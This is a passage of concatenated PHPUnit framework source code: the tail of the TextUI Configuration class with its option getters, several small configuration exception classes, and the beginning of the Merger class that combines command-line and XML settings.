$coverageTextShowUncoveredFiles; $this->coverageTextShowOnlySummary = $coverageTextShowOnlySummary; $this->coverageXml = $coverageXml; $this->pathCoverage = $pathCoverage; $this->ignoreDeprecatedCodeUnitsFromCodeCoverage = $ignoreDeprecatedCodeUnitsFromCodeCoverage; $this->disableCodeCoverageIgnore = $disableCodeCoverageIgnore; $this->failOnAllIssues = $failOnAllIssues; $this->failOnDeprecation = $failOnDeprecation; $this->failOnPhpunitDeprecation = $failOnPhpunitDeprecation; $this->failOnPhpunitWarning = $failOnPhpunitWarning; $this->failOnEmptyTestSuite = $failOnEmptyTestSuite; $this->failOnIncomplete = $failOnIncomplete; $this->failOnNotice = $failOnNotice; $this->failOnRisky = $failOnRisky; $this->failOnSkipped = $failOnSkipped; $this->failOnWarning = $failOnWarning; $this->doNotFailOnDeprecation = $doNotFailOnDeprecation; $this->doNotFailOnPhpunitDeprecation = $doNotFailOnPhpunitDeprecation; $this->doNotFailOnPhpunitWarning = $doNotFailOnPhpunitWarning; $this->doNotFailOnEmptyTestSuite = $doNotFailOnEmptyTestSuite; $this->doNotFailOnIncomplete = $doNotFailOnIncomplete; $this->doNotFailOnNotice = $doNotFailOnNotice; $this->doNotFailOnRisky = $doNotFailOnRisky; $this->doNotFailOnSkipped = $doNotFailOnSkipped; $this->doNotFailOnWarning = $doNotFailOnWarning; $this->stopOnDefect = $stopOnDefect; $this->stopOnDeprecation = $stopOnDeprecation; $this->stopOnError = $stopOnError; $this->stopOnFailure = $stopOnFailure; $this->stopOnIncomplete = $stopOnIncomplete; $this->stopOnNotice = $stopOnNotice; $this->stopOnRisky = $stopOnRisky; $this->stopOnSkipped = $stopOnSkipped; $this->stopOnWarning = $stopOnWarning; $this->outputToStandardErrorStream = $outputToStandardErrorStream; $this->columns = $columns; $this->noExtensions = $noExtensions; $this->pharExtensionDirectory = $pharExtensionDirectory; $this->extensionBootstrappers = $extensionBootstrappers; $this->backupGlobals = $backupGlobals; $this->backupStaticProperties = $backupStaticProperties; $this->beStrictAboutChangesToGlobalState = $beStrictAboutChangesToGlobalState; $this->colors = $colors; $this->processIsolation = $processIsolation; $this->enforceTimeLimit = $enforceTimeLimit; $this->defaultTimeLimit = $defaultTimeLimit; $this->timeoutForSmallTests = $timeoutForSmallTests; $this->timeoutForMediumTests = $timeoutForMediumTests; $this->timeoutForLargeTests = $timeoutForLargeTests; $this->reportUselessTests = $reportUselessTests; $this->strictCoverage = $strictCoverage; $this->disallowTestOutput = $disallowTestOutput; $this->displayDetailsOnAllIssues = $displayDetailsOnAllIssues; $this->displayDetailsOnIncompleteTests = $displayDetailsOnIncompleteTests; $this->displayDetailsOnSkippedTests = $displayDetailsOnSkippedTests; $this->displayDetailsOnTestsThatTriggerDeprecations = $displayDetailsOnTestsThatTriggerDeprecations; $this->displayDetailsOnPhpunitDeprecations = $displayDetailsOnPhpunitDeprecations; $this->displayDetailsOnTestsThatTriggerErrors = $displayDetailsOnTestsThatTriggerErrors; $this->displayDetailsOnTestsThatTriggerNotices = $displayDetailsOnTestsThatTriggerNotices; $this->displayDetailsOnTestsThatTriggerWarnings = $displayDetailsOnTestsThatTriggerWarnings; $this->reverseDefectList = $reverseDefectList; $this->requireCoverageMetadata = $requireCoverageMetadata; $this->registerMockObjectsFromTestArgumentsRecursively = $registerMockObjectsFromTestArgumentsRecursively; $this->noProgress = $noProgress; $this->noResults = $noResults; $this->noOutput = $noOutput; $this->executionOrder = $executionOrder; $this->executionOrderDefects = $executionOrderDefects; $this->resolveDependencies = $resolveDependencies; $this->logfileTeamcity = $logfileTeamcity; $this->logfileJunit = $logfileJunit; $this->logfileTestdoxHtml = $logfileTestdoxHtml; $this->logfileTestdoxText = $logfileTestdoxText; $this->logEventsText = $logEventsText; $this->logEventsVerboseText = $logEventsVerboseText; $this->teamCityOutput = $teamCityOutput; $this->testDoxOutput = $testDoxOutput; $this->testsCovering = $testsCovering; $this->testsUsing = $testsUsing; $this->filter = $filter; $this->groups = $groups; $this->excludeGroups = $excludeGroups; $this->randomOrderSeed = $randomOrderSeed; $this->includeUncoveredFiles = $includeUncoveredFiles; $this->testSuite = $testSuite; $this->includeTestSuite = $includeTestSuite; $this->excludeTestSuite = $excludeTestSuite; $this->defaultTestSuite = $defaultTestSuite; $this->testSuffixes = $testSuffixes; $this->php = $php; $this->controlGarbageCollector = $controlGarbageCollector; $this->numberOfTestsBeforeGarbageCollection = $numberOfTestsBeforeGarbageCollection; $this->generateBaseline = $generateBaseline; $this->debug = $debug; } /** * @psalm-assert-if-true !empty $this->cliArguments */ public function hasCliArguments(): bool { return !empty($this->cliArguments); } /** * @psalm-return list */ public function cliArguments(): array { return $this->cliArguments; } /** * @psalm-assert-if-true !empty $this->cliArguments * * @deprecated Use hasCliArguments() instead */ public function hasCliArgument(): bool { return !empty($this->cliArguments); } /** * @throws NoCliArgumentException * * @return non-empty-string * * @deprecated Use cliArguments()[0] instead */ public function cliArgument(): string { if (!$this->hasCliArguments()) { throw new NoCliArgumentException; } return $this->cliArguments[0]; } /** * @psalm-assert-if-true !null $this->configurationFile */ public function hasConfigurationFile(): bool { return $this->configurationFile !== null; } /** * @throws NoConfigurationFileException */ public function configurationFile(): string { if (!$this->hasConfigurationFile()) { throw new NoConfigurationFileException; } return $this->configurationFile; } /** * @psalm-assert-if-true !null $this->bootstrap */ public function hasBootstrap(): bool { return $this->bootstrap !== null; } /** * @throws NoBootstrapException */ public function bootstrap(): string { if (!$this->hasBootstrap()) { throw new NoBootstrapException; } return $this->bootstrap; } public function cacheResult(): bool { return $this->cacheResult; } /** * @psalm-assert-if-true !null $this->cacheDirectory */ public function hasCacheDirectory(): bool { return $this->cacheDirectory !== null; } /** * @throws NoCacheDirectoryException */ public function cacheDirectory(): string { if (!$this->hasCacheDirectory()) { throw new NoCacheDirectoryException; } return $this->cacheDirectory; } /** * @psalm-assert-if-true !null $this->coverageCacheDirectory */ public function hasCoverageCacheDirectory(): bool { return $this->coverageCacheDirectory !== null; } /** * @throws NoCoverageCacheDirectoryException */ public function coverageCacheDirectory(): string { if (!$this->hasCoverageCacheDirectory()) { throw new NoCoverageCacheDirectoryException; } return $this->coverageCacheDirectory; } public function source(): Source { return $this->source; } /** * @deprecated Use source()->restrictDeprecations() instead */ public function restrictDeprecations(): bool { return $this->source()->restrictDeprecations(); } /** * @deprecated Use source()->restrictNotices() instead */ public function restrictNotices(): bool { return $this->source()->restrictNotices(); } /** * @deprecated Use source()->restrictWarnings() instead */ public function restrictWarnings(): bool { return $this->source()->restrictWarnings(); } /** * @deprecated Use source()->notEmpty() instead */ public function hasNonEmptyListOfFilesToBeIncludedInCodeCoverageReport(): bool { return $this->source->notEmpty(); } /** * @deprecated Use source()->includeDirectories() instead */ public function coverageIncludeDirectories(): FilterDirectoryCollection { return $this->source()->includeDirectories(); } /** * @deprecated Use source()->includeFiles() instead */ public function coverageIncludeFiles(): FileCollection { return $this->source()->includeFiles(); } /** * @deprecated Use source()->excludeDirectories() instead */ public function coverageExcludeDirectories(): FilterDirectoryCollection { return $this->source()->excludeDirectories(); } /** * @deprecated Use source()->excludeFiles() instead */ public function coverageExcludeFiles(): FileCollection { return $this->source()->excludeFiles(); } public function testResultCacheFile(): string { return $this->testResultCacheFile; } public function ignoreDeprecatedCodeUnitsFromCodeCoverage(): bool { return $this->ignoreDeprecatedCodeUnitsFromCodeCoverage; } public function disableCodeCoverageIgnore(): bool { return $this->disableCodeCoverageIgnore; } public function pathCoverage(): bool { return $this->pathCoverage; } public function hasCoverageReport(): bool { return $this->hasCoverageClover() || $this->hasCoverageCobertura() || $this->hasCoverageCrap4j() || $this->hasCoverageHtml() || $this->hasCoveragePhp() || $this->hasCoverageText() || $this->hasCoverageXml(); } /** * @psalm-assert-if-true !null $this->coverageClover */ public function hasCoverageClover(): bool { return $this->coverageClover !== null; } /** * @throws CodeCoverageReportNotConfiguredException */ public function coverageClover(): string { if (!$this->hasCoverageClover()) { throw new CodeCoverageReportNotConfiguredException; } return $this->coverageClover; } /** * @psalm-assert-if-true !null $this->coverageCobertura */ public function hasCoverageCobertura(): bool { return $this->coverageCobertura !== null; } /** * @throws CodeCoverageReportNotConfiguredException */ public function coverageCobertura(): string { if (!$this->hasCoverageCobertura()) { throw new CodeCoverageReportNotConfiguredException; } return $this->coverageCobertura; } /** * @psalm-assert-if-true !null $this->coverageCrap4j */ public function hasCoverageCrap4j(): bool { return $this->coverageCrap4j !== null; } /** * @throws CodeCoverageReportNotConfiguredException */ public function coverageCrap4j(): string { if (!$this->hasCoverageCrap4j()) { throw new CodeCoverageReportNotConfiguredException; } return $this->coverageCrap4j; } public function coverageCrap4jThreshold(): int { return $this->coverageCrap4jThreshold; } /** * @psalm-assert-if-true !null $this->coverageHtml */ public function hasCoverageHtml(): bool { return $this->coverageHtml !== null; } /** * @throws CodeCoverageReportNotConfiguredException */ public function coverageHtml(): string { if (!$this->hasCoverageHtml()) { throw new CodeCoverageReportNotConfiguredException; } return $this->coverageHtml; } public function coverageHtmlLowUpperBound(): int { return $this->coverageHtmlLowUpperBound; } public function coverageHtmlHighLowerBound(): int { return $this->coverageHtmlHighLowerBound; } public function coverageHtmlColorSuccessLow(): string { return $this->coverageHtmlColorSuccessLow; } public function coverageHtmlColorSuccessMedium(): string { return $this->coverageHtmlColorSuccessMedium; } public function coverageHtmlColorSuccessHigh(): string { return $this->coverageHtmlColorSuccessHigh; } public function coverageHtmlColorWarning(): string { return $this->coverageHtmlColorWarning; } public function coverageHtmlColorDanger(): string { return $this->coverageHtmlColorDanger; } /** * @psalm-assert-if-true !null $this->coverageHtmlCustomCssFile */ public function hasCoverageHtmlCustomCssFile(): bool { return $this->coverageHtmlCustomCssFile !== null; } /** * @throws NoCustomCssFileException */ public function coverageHtmlCustomCssFile(): string { if (!$this->hasCoverageHtmlCustomCssFile()) { throw new NoCustomCssFileException; } return $this->coverageHtmlCustomCssFile; } /** * @psalm-assert-if-true !null $this->coveragePhp */ public function hasCoveragePhp(): bool { return $this->coveragePhp !== null; } /** * @throws CodeCoverageReportNotConfiguredException */ public function coveragePhp(): string { if (!$this->hasCoveragePhp()) { throw new CodeCoverageReportNotConfiguredException; } return $this->coveragePhp; } /** * @psalm-assert-if-true !null $this->coverageText */ public function hasCoverageText(): bool { return $this->coverageText !== null; } /** * @throws CodeCoverageReportNotConfiguredException */ public function coverageText(): string { if (!$this->hasCoverageText()) { throw new CodeCoverageReportNotConfiguredException; } return $this->coverageText; } public function coverageTextShowUncoveredFiles(): bool { return $this->coverageTextShowUncoveredFiles; } public function coverageTextShowOnlySummary(): bool { return $this->coverageTextShowOnlySummary; } /** * @psalm-assert-if-true !null $this->coverageXml */ public function hasCoverageXml(): bool { return $this->coverageXml !== null; } /** * @throws CodeCoverageReportNotConfiguredException */ public function coverageXml(): string { if (!$this->hasCoverageXml()) { throw new CodeCoverageReportNotConfiguredException; } return $this->coverageXml; } public function failOnAllIssues(): bool { return $this->failOnAllIssues; } public function failOnDeprecation(): bool { return $this->failOnDeprecation; } public function failOnPhpunitDeprecation(): bool { return $this->failOnPhpunitDeprecation; } public function failOnPhpunitWarning(): bool { return $this->failOnPhpunitWarning; } public function failOnEmptyTestSuite(): bool { return $this->failOnEmptyTestSuite; } public function failOnIncomplete(): bool { return $this->failOnIncomplete; } public function failOnNotice(): bool { return $this->failOnNotice; } public function failOnRisky(): bool { return $this->failOnRisky; } public function failOnSkipped(): bool { return $this->failOnSkipped; } public function failOnWarning(): bool { return $this->failOnWarning; } public function doNotFailOnDeprecation(): bool { return $this->doNotFailOnDeprecation; } public function doNotFailOnPhpunitDeprecation(): bool { return $this->doNotFailOnPhpunitDeprecation; } public function doNotFailOnPhpunitWarning(): bool { return $this->doNotFailOnPhpunitWarning; } public function doNotFailOnEmptyTestSuite(): bool { return $this->doNotFailOnEmptyTestSuite; } public function doNotFailOnIncomplete(): bool { return $this->doNotFailOnIncomplete; } public function doNotFailOnNotice(): bool { return $this->doNotFailOnNotice; } public function doNotFailOnRisky(): bool { return $this->doNotFailOnRisky; } public function doNotFailOnSkipped(): bool { return $this->doNotFailOnSkipped; } public function doNotFailOnWarning(): bool { return $this->doNotFailOnWarning; } public function stopOnDefect(): bool { return $this->stopOnDefect; } public function stopOnDeprecation(): bool { return $this->stopOnDeprecation; } public function stopOnError(): bool { return $this->stopOnError; } public function stopOnFailure(): bool { return $this->stopOnFailure; } public function stopOnIncomplete(): bool { return $this->stopOnIncomplete; } public function stopOnNotice(): bool { return $this->stopOnNotice; } public function stopOnRisky(): bool { return $this->stopOnRisky; } public function stopOnSkipped(): bool { return $this->stopOnSkipped; } public function stopOnWarning(): bool { return $this->stopOnWarning; } public function outputToStandardErrorStream(): bool { return $this->outputToStandardErrorStream; } public function columns(): int { return $this->columns; } /** * @deprecated Use noExtensions() instead */ public function loadPharExtensions(): bool { return $this->noExtensions; } public function noExtensions(): bool { return $this->noExtensions; } /** * @psalm-assert-if-true !null $this->pharExtensionDirectory */ public function hasPharExtensionDirectory(): bool { return $this->pharExtensionDirectory !== null; } /** * @throws NoPharExtensionDirectoryException * * @psalm-return non-empty-string */ public function pharExtensionDirectory(): string { if (!$this->hasPharExtensionDirectory()) { throw new NoPharExtensionDirectoryException; } return $this->pharExtensionDirectory; } /** * @psalm-return list}> */ public function extensionBootstrappers(): array { return $this->extensionBootstrappers; } public function backupGlobals(): bool { return $this->backupGlobals; } public function backupStaticProperties(): bool { return $this->backupStaticProperties; } public function beStrictAboutChangesToGlobalState(): bool { return $this->beStrictAboutChangesToGlobalState; } public function colors(): bool { return $this->colors; } public function processIsolation(): bool { return $this->processIsolation; } public function enforceTimeLimit(): bool { return $this->enforceTimeLimit; } public function defaultTimeLimit(): int { return $this->defaultTimeLimit; } public function timeoutForSmallTests(): int { return $this->timeoutForSmallTests; } public function timeoutForMediumTests(): int { return $this->timeoutForMediumTests; } public function timeoutForLargeTests(): int { return $this->timeoutForLargeTests; } public function reportUselessTests(): bool { return $this->reportUselessTests; } public function strictCoverage(): bool { return $this->strictCoverage; } public function disallowTestOutput(): bool { return $this->disallowTestOutput; } public function displayDetailsOnAllIssues(): bool { return $this->displayDetailsOnAllIssues; } public function displayDetailsOnIncompleteTests(): bool { return $this->displayDetailsOnIncompleteTests; } public function displayDetailsOnSkippedTests(): bool { return $this->displayDetailsOnSkippedTests; } public function displayDetailsOnTestsThatTriggerDeprecations(): bool { return $this->displayDetailsOnTestsThatTriggerDeprecations; } public function displayDetailsOnPhpunitDeprecations(): bool { return $this->displayDetailsOnPhpunitDeprecations; } public function displayDetailsOnTestsThatTriggerErrors(): bool { return $this->displayDetailsOnTestsThatTriggerErrors; } public function displayDetailsOnTestsThatTriggerNotices(): bool { return $this->displayDetailsOnTestsThatTriggerNotices; } public function displayDetailsOnTestsThatTriggerWarnings(): bool { return $this->displayDetailsOnTestsThatTriggerWarnings; } public function reverseDefectList(): bool { return $this->reverseDefectList; } public function requireCoverageMetadata(): bool { return $this->requireCoverageMetadata; } /** * @deprecated */ public function registerMockObjectsFromTestArgumentsRecursively(): bool { return $this->registerMockObjectsFromTestArgumentsRecursively; } public function noProgress(): bool { return $this->noProgress; } public function noResults(): bool { return $this->noResults; } public function noOutput(): bool { return $this->noOutput; } public function executionOrder(): int { return $this->executionOrder; } public function executionOrderDefects(): int { return $this->executionOrderDefects; } public function resolveDependencies(): bool { return $this->resolveDependencies; } /** * @psalm-assert-if-true !null $this->logfileTeamcity */ public function hasLogfileTeamcity(): bool { return $this->logfileTeamcity !== null; } /** * @throws LoggingNotConfiguredException */ public function logfileTeamcity(): string { if (!$this->hasLogfileTeamcity()) { throw new LoggingNotConfiguredException; } return $this->logfileTeamcity; } /** * @psalm-assert-if-true !null $this->logfileJunit */ public function hasLogfileJunit(): bool { return $this->logfileJunit !== null; } /** * @throws LoggingNotConfiguredException */ public function logfileJunit(): string { if (!$this->hasLogfileJunit()) { throw new LoggingNotConfiguredException; } return $this->logfileJunit; } /** * @psalm-assert-if-true !null $this->logfileTestdoxHtml */ public function hasLogfileTestdoxHtml(): bool { return $this->logfileTestdoxHtml !== null; } /** * @throws LoggingNotConfiguredException */ public function logfileTestdoxHtml(): string { if (!$this->hasLogfileTestdoxHtml()) { throw new LoggingNotConfiguredException; } return $this->logfileTestdoxHtml; } /** * @psalm-assert-if-true !null $this->logfileTestdoxText */ public function hasLogfileTestdoxText(): bool { return $this->logfileTestdoxText !== null; } /** * @throws LoggingNotConfiguredException */ public function logfileTestdoxText(): string { if (!$this->hasLogfileTestdoxText()) { throw new LoggingNotConfiguredException; } return $this->logfileTestdoxText; } /** * @psalm-assert-if-true !null $this->logEventsText */ public function hasLogEventsText(): bool { return $this->logEventsText !== null; } /** * @throws LoggingNotConfiguredException */ public function logEventsText(): string { if (!$this->hasLogEventsText()) { throw new LoggingNotConfiguredException; } return $this->logEventsText; } /** * @psalm-assert-if-true !null $this->logEventsVerboseText */ public function hasLogEventsVerboseText(): bool { return $this->logEventsVerboseText !== null; } /** * @throws LoggingNotConfiguredException */ public function logEventsVerboseText(): string { if (!$this->hasLogEventsVerboseText()) { throw new LoggingNotConfiguredException; } return $this->logEventsVerboseText; } public function outputIsTeamCity(): bool { return $this->teamCityOutput; } public function outputIsTestDox(): bool { return $this->testDoxOutput; } /** * @psalm-assert-if-true !empty $this->testsCovering */ public function hasTestsCovering(): bool { return !empty($this->testsCovering); } /** * @throws FilterNotConfiguredException * * @psalm-return list */ public function testsCovering(): array { if (!$this->hasTestsCovering()) { throw new FilterNotConfiguredException; } return $this->testsCovering; } /** * @psalm-assert-if-true !empty $this->testsUsing */ public function hasTestsUsing(): bool { return !empty($this->testsUsing); } /** * @throws FilterNotConfiguredException * * @psalm-return list */ public function testsUsing(): array { if (!$this->hasTestsUsing()) { throw new FilterNotConfiguredException; } return $this->testsUsing; } /** * @psalm-assert-if-true !null $this->filter */ public function hasFilter(): bool { return $this->filter !== null; } /** * @throws FilterNotConfiguredException */ public function filter(): string { if (!$this->hasFilter()) { throw new FilterNotConfiguredException; } return $this->filter; } /** * @psalm-assert-if-true !empty $this->groups */ public function hasGroups(): bool { return !empty($this->groups); } /** * @throws FilterNotConfiguredException */ public function groups(): array { if (!$this->hasGroups()) { throw new FilterNotConfiguredException; } return $this->groups; } /** * @psalm-assert-if-true !empty $this->excludeGroups */ public function hasExcludeGroups(): bool { return !empty($this->excludeGroups); } /** * @throws FilterNotConfiguredException */ public function excludeGroups(): array { if (!$this->hasExcludeGroups()) { throw new FilterNotConfiguredException; } return $this->excludeGroups; } public function randomOrderSeed(): int { return $this->randomOrderSeed; } public function includeUncoveredFiles(): bool { return $this->includeUncoveredFiles; } public function testSuite(): TestSuiteCollection { return $this->testSuite; } public function includeTestSuite(): string { return $this->includeTestSuite; } public function excludeTestSuite(): string { return $this->excludeTestSuite; } /** * @psalm-assert-if-true !null $this->defaultTestSuite */ public function hasDefaultTestSuite(): bool { return $this->defaultTestSuite !== null; } /** * @throws NoDefaultTestSuiteException */ public function defaultTestSuite(): string { if (!$this->hasDefaultTestSuite()) { throw new NoDefaultTestSuiteException; } return $this->defaultTestSuite; } /** * @psalm-return non-empty-list */ public function testSuffixes(): array { return $this->testSuffixes; } public function php(): Php { return $this->php; } public function controlGarbageCollector(): bool { return $this->controlGarbageCollector; } public function numberOfTestsBeforeGarbageCollection(): int { return $this->numberOfTestsBeforeGarbageCollection; } /** * @psalm-assert-if-true !null $this->generateBaseline */ public function hasGenerateBaseline(): bool { return $this->generateBaseline !== null; } /** * @throws NoBaselineException */ public function generateBaseline(): string { if (!$this->hasGenerateBaseline()) { throw new NoBaselineException; } return $this->generateBaseline; } public function debug(): bool { return $this->debug; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use PHPUnit\TextUI\Configuration\Exception; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CannotFindSchemaException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CodeCoverageReportNotConfiguredException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ConfigurationCannotBeBuiltException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ interface Exception extends \PHPUnit\TextUI\Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class FilterNotConfiguredException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class LoggingNotConfiguredException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NoBaselineException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NoBootstrapException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NoCacheDirectoryException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NoCliArgumentException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NoConfigurationFileException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NoCoverageCacheDirectoryException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NoCustomCssFileException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NoDefaultTestSuiteException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NoPharExtensionDirectoryException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use const DIRECTORY_SEPARATOR; use const PATH_SEPARATOR; use function array_diff; use function assert; use function dirname; use function explode; use function is_int; use function realpath; use function time; use PHPUnit\Event\Facade as EventFacade; use PHPUnit\Runner\TestSuiteSorter; use PHPUnit\TextUI\CliArguments\Configuration as CliConfiguration; use PHPUnit\TextUI\CliArguments\Exception; use PHPUnit\TextUI\XmlConfiguration\Configuration as XmlConfiguration; use PHPUnit\TextUI\XmlConfiguration\LoadedFromFileConfiguration; use PHPUnit\TextUI\XmlConfiguration\SchemaDetector; use PHPUnit\Util\Filesystem; use SebastianBergmann\CodeCoverage\Report\Html\Colors; use SebastianBergmann\CodeCoverage\Report\Thresholds; use SebastianBergmann\Environment\Console; use SebastianBergmann\Invoker\Invoker; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Merger { /** * @throws \PHPUnit\TextUI\XmlConfiguration\Exception * @throws Exception * @throws NoCustomCssFileException */ public function merge(CliConfiguration $cliConfiguration, XmlConfiguration $xmlConfiguration): Configuration { $configurationFile = null; if ($xmlConfiguration->wasLoadedFromFile()) { assert($xmlConfiguration instanceof LoadedFromFileConfiguration); $configurationFile = $xmlConfiguration->filename(); } $bootstrap = null; if ($cliConfiguration->hasBootstrap()) { $bootstrap = $cliConfiguration->bootstrap(); } elseif ($xmlConfiguration->phpunit()->hasBootstrap()) { $bootstrap = $xmlConfiguration->phpunit()->bootstrap(); } if ($cliConfiguration->hasCacheResult()) { $cacheResult = $cliConfiguration->cacheResult(); } else { $cacheResult = $xmlConfiguration->phpunit()->cacheResult(); } $cacheDirectory = null; $coverageCacheDirectory = null; if ($cliConfiguration->hasCacheDirectory() && Filesystem::createDirectory($cliConfiguration->cacheDirectory())) { $cacheDirectory = realpath($cliConfiguration->cacheDirectory()); } elseif ($xmlConfiguration->phpunit()->hasCacheDirectory() && Filesystem::createDirectory($xmlConfiguration->phpunit()->cacheDirectory())) { $cacheDirectory = realpath($xmlConfiguration->phpunit()->cacheDirectory()); } if ($cacheDirectory !== null) { $coverageCacheDirectory = $cacheDirectory . DIRECTORY_SEPARATOR . 'code-coverage'; $testResultCacheFile = $cacheDirectory . DIRECTORY_SEPARATOR . 'test-results'; } if ($coverageCacheDirectory === null) { if ($cliConfiguration->hasCoverageCacheDirectory() && Filesystem::createDirectory($cliConfiguration->coverageCacheDirectory())) { $coverageCacheDirectory = realpath($cliConfiguration->coverageCacheDirectory()); } elseif ($xmlConfiguration->codeCoverage()->hasCacheDirectory()) { $coverageCacheDirectory = $xmlConfiguration->codeCoverage()->cacheDirectory()->path(); } } if (!isset($testResultCacheFile)) { if ($cliConfiguration->hasCacheResultFile()) { $testResultCacheFile = $cliConfiguration->cacheResultFile(); } elseif ($xmlConfiguration->phpunit()->hasCacheResultFile()) { $testResultCacheFile = $xmlConfiguration->phpunit()->cacheResultFile(); } elseif ($xmlConfiguration->wasLoadedFromFile()) { $testResultCacheFile = dirname(realpath($xmlConfiguration->filename())) . DIRECTORY_SEPARATOR . '.phpunit.result.cache'; } else { $candidate = realpath($_SERVER['PHP_SELF']); if ($candidate) { $testResultCacheFile = dirname($candidate) . DIRECTORY_SEPARATOR . '.phpunit.result.cache'; } else { $testResultCacheFile = '.phpunit.result.cache'; } } } if ($cliConfiguration->hasDisableCodeCoverageIgnore()) { $disableCodeCoverageIgnore = $cliConfiguration->disableCodeCoverageIgnore(); } else { $disableCodeCoverageIgnore = $xmlConfiguration->codeCoverage()->disableCodeCoverageIgnore(); } if ($cliConfiguration->hasFailOnAllIssues()) { $failOnAllIssues = $cliConfiguration->failOnAllIssues(); } else { $failOnAllIssues = $xmlConfiguration->phpunit()->failOnAllIssues(); } if ($cliConfiguration->hasFailOnDeprecation()) { $failOnDeprecation = $cliConfiguration->failOnDeprecation(); } else { $failOnDeprecation = $xmlConfiguration->phpunit()->failOnDeprecation(); } if ($cliConfiguration->hasFailOnPhpunitDeprecation()) { $failOnPhpunitDeprecation = $cliConfiguration->failOnPhpunitDeprecation(); } else { $failOnPhpunitDeprecation = $xmlConfiguration->phpunit()->failOnPhpunitDeprecation(); } if ($cliConfiguration->hasFailOnPhpunitWarning()) { $failOnPhpunitWarning = $cliConfiguration->failOnPhpunitWarning(); } else { $failOnPhpunitWarning = $xmlConfiguration->phpunit()->failOnPhpunitWarning(); } if ($cliConfiguration->hasFailOnEmptyTestSuite()) { $failOnEmptyTestSuite = $cliConfiguration->failOnEmptyTestSuite(); } else { $failOnEmptyTestSuite = $xmlConfiguration->phpunit()->failOnEmptyTestSuite(); } if ($cliConfiguration->hasFailOnIncomplete()) { $failOnIncomplete = $cliConfiguration->failOnIncomplete(); } else { $failOnIncomplete = $xmlConfiguration->phpunit()->failOnIncomplete(); } if ($cliConfiguration->hasFailOnNotice()) { $failOnNotice = $cliConfiguration->failOnNotice(); } else { $failOnNotice = $xmlConfiguration->phpunit()->failOnNotice(); } if ($cliConfiguration->hasFailOnRisky()) { $failOnRisky = $cliConfiguration->failOnRisky(); } else { $failOnRisky = $xmlConfiguration->phpunit()->failOnRisky(); } if ($cliConfiguration->hasFailOnSkipped()) { $failOnSkipped = 